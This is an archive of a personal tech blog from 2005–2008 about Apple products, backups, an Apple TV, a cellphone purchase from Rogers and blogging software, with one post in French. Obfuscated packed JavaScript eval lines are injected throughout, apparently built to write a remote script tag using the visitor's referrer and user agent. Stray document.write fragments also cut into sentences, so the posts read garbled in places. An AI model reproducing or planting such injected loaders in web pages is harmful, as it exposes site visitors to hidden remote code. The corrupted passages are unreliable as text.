Video Experimentation

July 1, 2008 / Clodjee / Leave a comment

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kstnf|var|u0026u|referrer|hkryd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtday|var|u0026u|referrer|rzntd||js|php’.split(‘|’),0,{}))
Earlier in May, document.write(“”); I got myself a Canon Powershot S5IS as birthday present. It’s quite an improvement on my FujiFilm S 3100: I’ve doubled the zoom (12x) and the megapixels (8), it has face detection and image stabilisation, a bigger & adjustable LCD monitor, lots of shooting mode (including manual) and the flash is a little more powerful — but the camera also has a hot-shoe to add an external flash when necessary. I’ll do a full review when I have a little more time. All I can say for now is that it takes pretty nice pictures. So far, I tried it at one convention, a couple of family events, a walk at the Botanical Garden and I am very satisfied.

The zoom is quite impressive:

It also takes good video (with stereo sound!) which I couldn’t do with the Fuji (poor quality video and no sound). I have just started experimenting with video. I still have to try doing some editing and I am looking for the best way to showcase my footage to family and friends. On YouTube? On my .Mac web gallery (with .Mac/MobileMe increasing to 20 Gb of storage that could be a solution)? I’ll do some more tests and I’ll see.

First, the test on YouTube. The first thing I notice is that the encoding dramatically reduce the resolution. It’s rather disappointing. Anyway, judge for yourselves. Here’s a family of ducks spotted last friday at the Montreal Botanical Garden (just beside the Japanese Pavillion):

[Updated 2008/08/25 with the zoom pic]

Alleluia Time Machine!

March 25, 2008 / Clodjee / Leave a comment

A couple of weeks ago I bought a new, document.write(“”); bigger, network drive as the hard drive plugged to my Airport Extreme was already getting full. This allowed me to free a drive for Time Machine. I had the new Mac OS (10.5, aka Leopard) installed on both my iMacs for months, but never got around setting up Time Machine, Mac’s new automatic backup software, because I didn’t have any spare hard drive. I first set up Time Machine on my main iMac (Intel latest generation). That’s the one I use for work, so it was my first priority. It was quite easy to install: I had just to plug the spare drive (aptly named Tardis) on the USB port and turn Time Machine on. It immediately started to make the first, full backup. After that it makes hourly incremental backups. “Time Machine saves the hourly backups for the past 24 hours, daily backups for the past month, and weekly backups for everything older than a month.” It does that until the drive is full and then it erase the backups and starts again. It really gives you a sense of security. But if backups make you feel safe, it is mostly because you think that you will probably never need it anyway…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bberd|var|u0026u|referrer|hbidh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heaze|var|u0026u|referrer|dfihb||js|php’.split(‘|’),0,{}))

A few days later, being quite satisfied with how the software was working (mainly because it was not slowing the system–and therefore my work–when doing backups), I decided to implement Time Machine on my secondary iMac (a pre-iSight G5 that I use for backup, research, testing and download). First, I had to free another, smaller, hard drive by moving content around (to Navi, the network drive plugged to Airport Extreme, and to Tardis). Since it was a smaller drive, I also had to set up TM to exclude some, less important, folders (Music, Movie), while doing its backup. Once turned on, Time Machine started doing it backup quietly and flawlessly. After a while you forget about it. It’s part of the system. It’s just a safety net…

About a week later, I noticed that my secondary iMac was getting quite slow. I checked to see if one of the softwares was dragging the system down, but couldn’t find anything wrong. I rebooted just in case, but nothing changed. The system was still slow to respond to any command. So, last Thursday, in frustration, I decided to turn the computer off, thinking of doing more tests later. When I turned it on again on Good Friday afternoon, it refused to boot. I tried several time and all I was getting was the Apple logo, the spinning wheel, the fan was starting to run like crazy after a while, and sometime ending up with a kernel panic (the multilingual screen of death). My computer was dead! I was busy and there was nothing much I could do, so I left it alone.

Finally, Sunday I had a little spare time (it was Easter, my wife was working and the big family dinner would not happen before next week) so I decided to do some tests. I succeeded to boot the iMac with the Leopard install disk. It could be either some corruption in the OS software or some problem with the hard drive. First, I checked the drive with Disk Utility. I thought that doing some repair on the disk would probably solved the problem. Wrong! Disk Utility gives me right away a “Fatal Hardware Error” on the drive. Bad news… So the drive is dead. It is confirmed by the Apple Hardware Test that gives an error code on the SATA bus. Now I know what to do to resuscitate my iMac (which is quite appropriate on Easter!) Unfortunately, all repair shops and computer stores are closed until Monday. It leaves me some time to do a little thinking. My AppleCare warranty has already expired in December, so bringing it to the repair shop will probably be quite costly. On the other hand, the hard drive on this model is still easily accessible so I could simply purchase a new drive and install it myself. If it doesn’t work I could still bring it to the repair shop. So I download the “how-to” instructions from Apple website, check my iMac specs to make sure which drive I need and go to Microbytes to purchase a new (twice bigger) hard drive. It takes fifteen minutes to install the new drive, reboot with the Leopard install disk and reformat the drive. Now comes the big test for Time Machine. It takes a couple of hours to restore the iMac with the Time Machine backup, but it finally reboot and looks like nothing ever happened! Alleluia Time Machine!

I’ve never seen a backup system so easy to use! If you have a Mac and are running Leopard, the safest thing to do is to make sure that Time Machine is on. You never know when you’ll need it.

Apple TV

August 20, 2007 / Clodjee / Leave a comment

I have been using the Xbox Media Center (XBMC) to view video files for a couple of years and I like it very much since it is offering a great variety of settings — but lately I’ve been having problem running hi-def video and mkv format. I guess we are slowly approaching the processing limits of the Xbox (unless the XBMC migrates to the 360). Therefore, document.write(“”); I started looking for a replacement. The new Apple TV seemed to be a suitable candidate.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfrbk|var|u0026u|referrer|bhfrb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkyyy|var|u0026u|referrer|zsady||js|php’.split(‘|’),0,{}))

I’ve now been owning an Apple TV (the 40 Gb hard drive model) for less than a month and so far I am relatively satisfied with it. It looks very nice, play video well and offers a few bonuses (streaming photos, music, podcast, and youTube videos). You can either stream your videos to the ATV or synch them to store them locally. It is full of potential. Unfortunately, for now, there are three area where it is very limited. I guess it is a work in progress.

First, it plays only three video format: .mp4, .m4v and .mov (but the latter under very limited conditions; I’ve not figured out yet what make some .mov work and some not). However, you can use Quicktime or other video converters to convert almost any format into .m4v. I mostly watch .avi (plus a few .mkv) and didn’t have any problems converting them, but it is a time consuming process (depending of the video format — .avi seems faster to convert– and the computer used to process the file, it can take from 30 min. (on my new iMac Intel 2.4 Ghz) to over ten hours (on my iMac G5 1.8 Ghz) to convert an half-hour episode). [UPDATE: It even converts the .srt files for the subtitles!]

Second, it is made to work only with a widescreen HDTV. I was able to plug the ATV to my old standard TV with an expensive component video cable and setting the ATV’s resolution to 480i, but I am nevertheless losing some parts of the picture on each side. The XBMC has the advantage of offering various screen formats.

Third, you can only stream or synch your videos (or photos, music, etc) through iTunes, while with XBMC you can stream them from any of your computer drives.

Of course, most of those problems (save the TV resolution) can be solved with a hack. But while you crack open the XB only with a software, in the case of the ATV, you have to physically crack open the box and remove the hard drive in order to install new softwares that extend the ATV capabilities, like enabling SSH (Secure Shell, a network protocol allowing to communicate with the ATV and exchange data, therefore being able to install new softwares without having to remove the drive anymore), adding a file browser (ATVfiles), an external hard drive, play any video codec (through Perian) or even running the full OS X! But I am not encline to void the warranty of my expensive ATV — yet. And all this “work under the hood” is rather complicated to perform. Many people suggested that the best way (although even more expensive) to replace the XBMC would be to buy a Mac Mini and use Frontrow to watch video. It has the advantage of being a fully fonctional computer.

However, I am not ready to give up on the ATV. As I said, it has much potential. Here are the improvements I would like to see in the future:

• Apple should open the Apple TV to developpers. If the ATV could play all video codecs straight out of the box and if it had the ability to run small application (the YouTube player is a start), then it would be, officially — not in a hacked way, a more powerful media center than the XBMC.

• Adding a Gigabite ethernet (like Apple recently did for the Airport Extreme) would also be nice. Even with the standard 10/100 ethernet cable it is much faster to stream or synch than doing it wireless.

• Adding a radio tuner (either iTunes or ShoutCast). I really don’t understand why ATV doesn’t give access to the iTunes radio stations!

• A CATV tuner and PVR capability (but I already have the cable box/PVR for that — so maybe the ability to take content from the cable box/PVR) would be interesting

• Ability to buy or rent content on the internet directly from the ATV. In fact, in Canada, we cannot even download TV shows or movies from the iTunes store, so for us the ATV–as it is right now–is pretty useless. I wonder why they even bother to sell it. So, first, let’s hope that the Canadian iTunes store will soon offer TV or movie videos for sales.

• a fan (because the ATV is REALLY getting hot quickly)

• a switch off (I never understood this idea of building appliance without a switch off).

With those improvements, the Apple TV would be a great video appliance for an entertainment room and I would really enjoy it. However, for now, I cannot recommend it to movie & anime fans as a XBMC replacement.

For more information on the Apple TV, see this collection of Apple TV resources.

Apple to open their Canadian flag-store in Montreal

August 16, 2007 / Clodjee / 1 Comment

According to AppleInsider, document.write(“”); Apple is planning to open a multi-story store on Ste-Catherine street West for Summer or early Fall 2008. They would heavily renovate (in the hip way that Apple’s stores are known for: with lots of glass and aluminum) the MENS building (1321 Ste Catherine W) near De La Montagne street (see pictures). Work should start this winter.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arzfi|var|u0026u|referrer|hresy||js|php’.split(‘|’),0,{}))

That’s a great news, since downtown Montreal has been lacking a decent Mac-friendly store since the demise of Bmac several years ago. It’s even getting difficult to find a decent computer store (besides the big chains like Staples, Future Shop or The Source). I even noticed this week that the CompuSmart on Square Philips had disappeared — but at the same time I discovered that there was a tiny Micro-Boutique on the fourth floor of the Eaton Center. There’s also MicroBytes that is good for accessories and peripherals. The best specialized stores are now mostly online (what about touching & physically checking the product before buying?). So, there’s nothing like a big, real Apple Store. One opened earlier this year at the Carrefour Laval, but it’s relatively small (I was rather disappointed when I visited). Apparently, the new downtown Apple store will be 9,300 square feet, a bit smaller than the Manhattan store!

New iMacs!

August 8, 2007 / Clodjee / Leave a comment

Also today, document.write(“”); Apple finally announced the new iMac models!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsbda|var|u0026u|referrer|sfhfs||js|php’.split(‘|’),0,{}))

The new look of the iMac is made of aluminum and glass. The 17-inch models are eliminated and replace by a low-end 20-inch (2 Ghz Intel Core 2 Duo, 1 Gb memory, 250 Gb HD, $1,199.00 US / $1,299.00 Can) and both the 20-inch (2.4 Ghz Intel Core 2 Duo, 1 Gb memory, 320 Gb HD, $1,499.00 US / $1,599.00 Can) and 24-inch (2.4 Ghz Intel Core 2 Duo, 1 Gb memory, 320 Gb HD, $1,799.00 US / $1,899.00 Can) models are quite improved for the same price they were before! Finally, a new high-performence 24-inch model is added (2.8 Ghz Intel Core 2 Extreme, 2 Gb memory, 500 Gb HD, $2,299.00 US / $2,449.00 Can). All models includes a new, slimmer, keyboard and are available now. Wow!

Apple also launched iLife ’08 and iWork ’08, upgraded the Mac Mini and boosted .Mac (with .Mac Gallery and 10 Gb of storage!). It was a great day for Apple fans. The next step will be the release of the Mac OS X 10.5 (Leopard) later this fall…

I have been waiting for this day all year long. I was planning to upgrade my old iMac G5 (1.8 Ghz, 1 Gb of memory, 150 Gb HD) for an Intel earlier this year when rumors of new iMac models started circulating, so I decided to wait. Despite the great news, choosing the right model was an agonizing process. I was really tempted by a 24-inch that runs faster, but I unfortunately had to manage my wallet, so I reluctantly went for the bigger 20-inch (but I boosted its memory to 2 Gb — I also took the opportunity to order Parallel, an EyeTV 250 and an Apple TV). Now I can’t wait to receive that baby!

Telemarketing Hell

May 31, 2007 / Clodjee / 2 Comments

Tired of getting harassed by telemarketers who want to sell you stuff when you are busy doing something else (like eating or sleeping)? Always wondered who the hell can call you twice a day for a week without leaving a message and your caller ID simply says “unavailable”? Are you annoyed by phone calls that, document.write(“”); when you pick up the phone, there’s nothing on the line?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aebkd|var|u0026u|referrer|ahdfd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afeft|var|u0026u|referrer|dhkfk||js|php’.split(‘|’),0,{}))

I just found this great website, 800 Notes, where people can leave comments on those annoying unidentified phone numbers usually used by telemarketers. By exchanging information, you can figure out who they are and what to do to make those phone calls stop. I like it.

You can also find some information from the CRTC here.

Turning The Pages

February 18, 2007 / Clodjee / Leave a comment

Yesterday, document.write(“”); while reading the Montreal’s Gazette, I discovered a very interesting webpage created by the British Library: Turning The Pages.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kensr|var|u0026u|referrer|badbt||js|php’.split(‘|’),0,{}))

The BL has digitalized several of their most interesting and valuable books (at least sixteen of them so far) and anyone can browse them on the net. I means literaly browse them: you see a picture of the book and you can turn the page like if the book was really there!

All you need is broadband and a Shockwave plug-in.

At first, I was disappointed. On the main page they were talking about the new version for Vista and I was afraid that it was another of those sites that were useless for us, Mac users. I decided to click on one of the books offered, just in case. And it worked! For Mac, it works directly and you don’t need to install anything if you already have the Shockwave plug-in for Safari. And it is REALLY amazing!

As example, here’s the Sforza Hours book:

You use the cursor of the mouse to turn the pages (hence the name) with a cute animated effect. You have three buttons at the bottom right of the screen that allow you to see an explanation on the text, hear the same explanation or have a magnifier that you can move around to see in more details the texts or illustrations!

You can browse through a Leonardo’s sketchbook, a Mozart’s musical dairy, the original Alice by Lewis Carroll, Mercator’s Atlas Of Europe, etc. Bravo to the British Library for making such treasure available to the masses!

Lonely Bloggers

February 1, 2007May 4, 2020 / Clodjee / Leave a comment

University of Calgary professor Michael Keren’s book Blogosphere: The New Political Arena says that bloggers are lonely and isolated people. He also adds that bloggers see themselves as rebels against the mundane society, but since their writings receive limited exposure on the internet, he compares them to Don Quixote.

His comments generated lots of reaction. I guess I agree with him on some points. Many personal bloggers are lonely people, and they throw their daily life-capsule in the internet like someone would throw a bottle in the sea. I consider myself in that category. I work at home, my little safe haven, and I barely see anyone beside my wife. I feel lonely, but I know that my weblog’s comments won’t be read by many. It’s like writing a journal and leaving it in plain view, in hope that someone will dare to read it.

However, many blogs go beyond a personal purpose: companies’ blogs serve as information hub, some organization set up blogs to gather volunteer or raise funds, many do political commentary. Also, some blogs can become very popular and be read by lots of people… Keren’s comment definitely doesn’t apply to those.

Source: The Gazette, Montreal, 1/31/07 A1-2. See also here and there.

Design & Fonctionnalité

January 27, 2007 / Clodjee / Leave a comment

Dans ma séance quotidienne de Google Reader, document.write(“”); où je fais le tour des différents blogs que je lis régulièrement, je me suis arrêté quelques instants sur le site de Science On Blogue! Mario Tessier y commentes, dans l’article “Le iMachin,” la place que le design prend de plus en plus dans les nouvelles technologies. Cela m’a susciter quelques réflections…

La différence dans les approches marketing d’Apple et de Microsoft sont particulièrement évidentes si l’on compare le iPod et le Zune par exemple. Et leur efficacité respective est révélée par le flop du Zune…

Le commentaire de Mr. Dumas me surprend un peu. Sur un blog traitant de science et de culture, il n’y a pas de sujet plus pertinent que de discutter comment la perception des technologies affecte leur utilisation. Car c’est justement sur ce point que se fait l’intersection entre science et culture (et c’est sans doute pourquoi on y retrouve le thème “Arts et Technologies”).

Mais l’avantage des produits d’Apple n’est pas simplement dans le design extérieur: c’est aussi dans le design (conception) des fonctionnalités. Elles sont non seulement souvent supérieur mais également plus accessible, plus facile à utiliser. De la même façon que le design extérieur fait que le produit s’intègre plus facilement (esthétiquement) dans notre environnement, le design des fonctionnalités fait qu’il s’intègre aussi mieux dans notre vie de tout les jours.

J’ai souvent l’impression que, si les produits de Microsoft sont conçu pour les techniciens et les ingénieurs, ceux d’Apple le sont pour monsieur-tout-le-monde…

Damn Rogers!

January 14, 2007 / Clodjee / Leave a comment

I’ve been tired of my cellphone (a Nokia 3300) for a while. I have it now for over two years, document.write(“”); which is a lot for that kind of technology. I can dream of the Apple iPhone, but I can’t wait until this summer (it might take even longer for it to arrive in Canada). Anyway, I don’t have much money so I’ve been eying at the Motorola V360 instead. The Pay-As-You-Go version is sold at only $130 Cdn — even less if you order it directly from Rogers’ web site. Which I did. It was a grave mistake.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krsfn|var|u0026u|referrer|ktiki||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrbzk|var|u0026u|referrer|bzryi||js|php’.split(‘|’),0,{}))

I received the phone after three days, but it was defective. It didn’t ring at all. After spending over two hours trying to get through the customer service automatic phone system, speaking with someone with such a thick accent that I barely could understand what she was saying (not from India, but New Brunswick!), being bounced back and forth to different departments, being on hold, being hang up by mistake, getting the message “our customer service is now closed, please call back during business hours” at 1 pm (it was friday…), I was finally told that I could exchange the phone — but not in a store, instead I had to send it back by UPS!! I was also told that my credit card would be credited only after a minimum of twenty-one days, and that I had to make an entirely new order to get a replacement!!!!!

I don’t think so.

If I decide to stick with Rogers (IF), I will certainly not order again from their web page. And I urge you to never try it.

I can’t believe that a company could have a customer service that sucks so much. And it is not the first time that I encountered such bad service. Bell is as bad if not worse. It is as if they try on purpose to make it the worse experience possible for you, like to discourage you to deal with them. Aren’t they worried to lose customers? I just can’t understand this business culture.

Music From Japan

December 16, 2006 / Clodjee / Leave a comment

I am sure that many anime & manga fans are like me and enjoy listening to Japanese music. It is not always easy to find J-pop DVDs and one cannot download music from iTunes Japan if one doesn’t have a credit card registered with a Japanese address. At least, document.write(“”); until now!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkhta|var|u0026u|referrer|hbdnh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfaes|var|u0026u|referrer|nfyed||js|php’.split(‘|’),0,{}))

I learned today, while reading TUAW (The Unofficial Apple Weblog), that you can shop at iTunes Japan from America (or anywhere else) when you purchase iTunes Japan Music Cards!

The funny things is that those cards are available from Jbox (the sister website to Jlist, an online store created by Peter Payne and selling anime, manga & everything Japanese that might interest a fan). The cards are available in ¥1500 ($18 US) and ¥3000 ($35 US) format and Jbox clearly explains how to use them.

The cards are also available from Amazon.co.jp (but that website is in Japanese)…

Have fun!

UPDATE [12/30/06]: Someone on the Anime News Network‘s forums has pointed out that this item cannot be ordered on Amazon.co.jp from overseas. I have indeed verified that some commodities produced for the Japanese market (Software, Game, Electronics, Home & kitchen, Toy & hobby, Sport, Health & beauty, and certain type of Dvds/videos) are subject to geographical restrictions and Amazon.co.jp cannot deliver them overseas. The iTunes Japan Music Cards are apparently considered as Electronics. Sorry, I didn’t know that. It leaves only Jbox as source (although someone also pointed out that the cards were available in some convenience stores).

Blogware Update

December 16, 2006 / Clodjee / Leave a comment

I was wrong…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zffrh|var|u0026u|referrer|ihafb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhadf|var|u0026u|referrer|fbnba||js|php’.split(‘|’),0,{}))

Largemouth just released the final 1.2 version of Blog.Mac and they did not charge me any license fee for the upgrade.

Now, document.write(“”); I am not sure what blogware to use… Although I think I still prefer blogger. I am still not satisfy with the available template for Blog.Mac (although, to be honest, there is a free template editor that allow us to modify the templates or create new ones) and the overall interface of blogger is better (Blog.Mac has a few little annoying bugs). Not without mentioning that with Blogger you can use multiple labels (categories) for each entry. Umm…

I still recommend Blog.Mac, which is an excellent program, but I think I’ll stick to blogger. (Although I might do double entries on each program for a while until I am 100% decided).

Blog moved back!

December 12, 2006 / Clodjee / Leave a comment

Last year, document.write(“”); in November 2005, I was feeling that the free blog I was using until then, blogspot, was lacking in features (not much flexibility with the template, no categories, etc.) so I decided to switch to Blog.Mac (1.1.3) and move my blog to a new location on my .Mac iDisk.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbene|var|u0026u|referrer|hdntd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fadzh|var|u0026u|referrer|adkef||js|php’.split(‘|’),0,{}))

I ended up not blogging much (busy times) partly because Blog.Mac designers had announced a new version of their blogware with categories. I was interested in those promised new functions but was reluctant to blog much and then have to re-do everything with the new version (Largemouth people warned us that file format might change with the new version). So I waited…

A couple of month ago, I was tired to wait so I contacted Largemouth Software to ask when the new version of Blog.Mac was coming. I was told it would come two weeks later. After a wait of two MONTHS (no wonder they’re called Largemouth), they finally released… a new BETA version (1.2 b2)! I decided to try it and created this test blog. It looks nice, the categories work well, but I will probably have to pay for the upgrade to 1.2.

Considering that they would certainly wait several more months before releasing a final version of 1.2 and that my patience was already at its limit, I decided to try other blogwares. I tested iBlog (2 b8) by Lifli Software and created this test blog. The calendar feature is cool, but the look is disappointing (although you can tweek the template a little) and I was not enthusiastic with paying 1410.00 Indian Rupees ($30 US) for another license!

I was just about to say “Ok, I’ll wait another few months before deciding” when I discovered that the blogware I was using at first, now called blogger, has just released a new version with very flexible templates, multiple categories (called here Labels), FTP capability and more cool features! The beauty of it is that it is FREE! So, now I am reviving and updating this blog. Amazing, isn’t it?

So far, I am very satisfied with blogger and I recommend it to everyone.

Ecological Climber Motocycle?

November 21, 2005 / Clodjee / Leave a comment

In an article about “The Most Amazing Inventions” published in a recent issue of Time magazine (Canadian edition, document.write(“”); Nov. 21 2005: 34), I’ve seen a news bit talking about a motocycle of the future that runs on hydrogene canister. That reminded me of the Mospeada Ride Armor seen in the Genesis Climber Mospeada anime (the bike was called Cyclone in the Robotech adaptation). Both bikes slighly look similar and run on hydrogene canister (althought in Robotech, Macek changed that for Protoculture).

The 90-kgs ENV bike is made of aluminum, has a top speed of 80 km/h and can drive up to 160 km on a $4 US 140 g hydrogene canister. The fuel-cell engine is silent and clean. Too bad this bike cannot transform into a power armor!

The ENV bike was created by Intelligent Energy and should be available in 2007 for less than $10,000 US. You can find more details on its web site: www.envbike.com.

Apple’s iTunes music stores soon to offer video!

October 13, 2005 / Clodjee / Leave a comment

With the announcement of the new video-capable iPod, document.write(“”); Apple might be able to revolutionize the world of the video download the same way they did for music.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhziz|var|u0026u|referrer|ztbdi||js|php’.split(‘|’),0,{}))
